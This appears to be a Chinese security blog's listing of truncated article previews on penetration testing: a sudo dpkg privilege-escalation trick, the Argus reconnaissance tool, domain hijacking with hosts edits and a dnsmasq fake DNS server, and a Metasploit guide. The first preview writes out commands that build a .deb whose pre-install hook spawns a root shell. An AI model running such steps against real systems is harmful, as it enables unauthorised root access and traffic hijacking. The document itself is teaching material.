伪造安装包 TF=$(mktemp -d) echo 'exec /bin/sh' > $TF/x.sh fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF ``` sudo dpkg -i x_1.0_all.deb 2025-05-26 35 0
信息收集工具Argus 信息收集工具Argus 介绍 Argus是一个基于Python的信息收集工具包，旨在简化信息收集和侦察过程。它提供了用户友好的界面和强大的模块，帮助用户高效地探索网络、Web应用程序和安全配置。无论是进行研究、在获得授权的情况下执行安全评估，还是对网络基础设施感到好奇，Argus都能将丰富的信息汇集 2025-05-26 112 0
域名劫持 1、使用自签名证书解决https openssl创建自签名证书 openssl 使用web工具创建一个反向代理 nginx caddy 2、域名劫持 方法1：hosts修改 方法2：kali伪装dns服务器 dnsmasq vim /etc/dnsmasq.conf ``` service dn 2025-05-26 75 0
Metasploit Framework (MSF) 使用指南 Metasploit Framework (MSF) 使用指南 0、MSF简介 Metasploit Framework（MSF）是一个开源的渗透测试框架，它是渗透测试领域的核心工具之一，被广泛应用于安全研究和渗透测试。MSF通过模块化设计，简化了漏洞利用和后渗透操作，帮助测试人员快速验证系统安全性 2025-04-15 557 0
